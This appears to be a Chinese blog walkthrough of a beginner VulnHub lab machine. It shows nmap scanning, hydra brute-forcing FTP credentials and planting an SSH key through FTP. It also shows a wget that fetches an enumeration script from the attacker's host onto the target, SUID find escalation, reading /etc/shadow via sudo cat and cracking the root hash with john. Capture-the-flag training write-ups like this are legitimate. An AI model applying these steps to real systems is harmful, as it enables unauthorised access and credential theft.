靶机地址
难度:初级
靶机发布日期:2019年8月29日
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
工具、知识点和漏洞
netdiscover
nmap
hydra
john
0x00、信息收集
靶机IP:192.168.0.110
netdiscover -r 192.168.0.0/24
nmap -sP 192.168.0.0./24
端口和服务
nmap -sS -sV -T5 -A -p- 192.168.0.110
http://192.168.0.110
针对samba使用enum4linux
关于samba可以参考SAMBA服务器搭建笔记
enum4linux 192.168.0.110
针对FTP服务的渗透测试文章
发现两个用户nightfall、matt,将这两个用户名放到一个文本文件中,作为用户名字典使用hydra进行密码的暴力猜解,得到用户名密码matt/cheese
登录ftp之后发现文件夹是空的,但是呢?总有些文件的属性是隐藏的,这个就是
也可以在命令行下用ftp登录
0x01、上传ssh公钥
从共享目录中的内容来看,共享的是matt用户的home目录,有经验的一眼就能看出来
既然是在matt用户的home目录中,那我们是不是可以上传SSH的公钥到authorized_keys文件,然后使用私钥登录靶机
关于ssh密钥登录,可以参考这篇文章SSH 使用密钥登录并禁止口令登录实践
登录ftp,创建.ssh文件夹,并将公钥上传到ftp中.ssh文件夹中
由于我所在的当前目录是/root/.ssh,也就是authorized_keys所在的目录,所以可以在登录ftp并切换至靶机共享文件夹的.ssh目录后,直接执行put authorized_keys。如果需要改变本地文件夹的位置可以使用lcd。更多ftp命令参考ftp命令大全详解
SSH登录靶机
0x02、提权
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
先在kali上开启HTTP服务
python -m SimpleHTTPServer 65534
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中
python linuxprivchecker.py > report.txt
靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。
SUID权限可执行文件,发现/scripts/find,还是尝试了一下用它提权
find / -perm -u=s -type f 2>/dev/null
读取user.txt
使用hash-identifier识别一下是什么加密算法
md5解密碰碰运气吧,结果没解出来,这难道是flag……
- https://www.somd5.com/
- https://www.cmd5.com/
查看mysql历史命令,好像没啥用
那我们继续将ssh的公钥写入到nightfall用户的认证文件authorized_keys里吧,毕竟我们现在是nightfall权限
kali开启HTTP服务,使用wget -O将id_rsa.pub下载到/home/nightfall/.ssh,由于原来没有.ssh文件夹,所以需要我们提前新建一个
查找sudo权限命令,发现/usr/bin/cat
sudo -l
读取shadow文件,使用John的默认字典进行破解,得到root账户的密码为miguel2
0x03、后记
搜索了“mysql 5.5”,发现有两个本地提权漏洞,结果没有复现成功
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.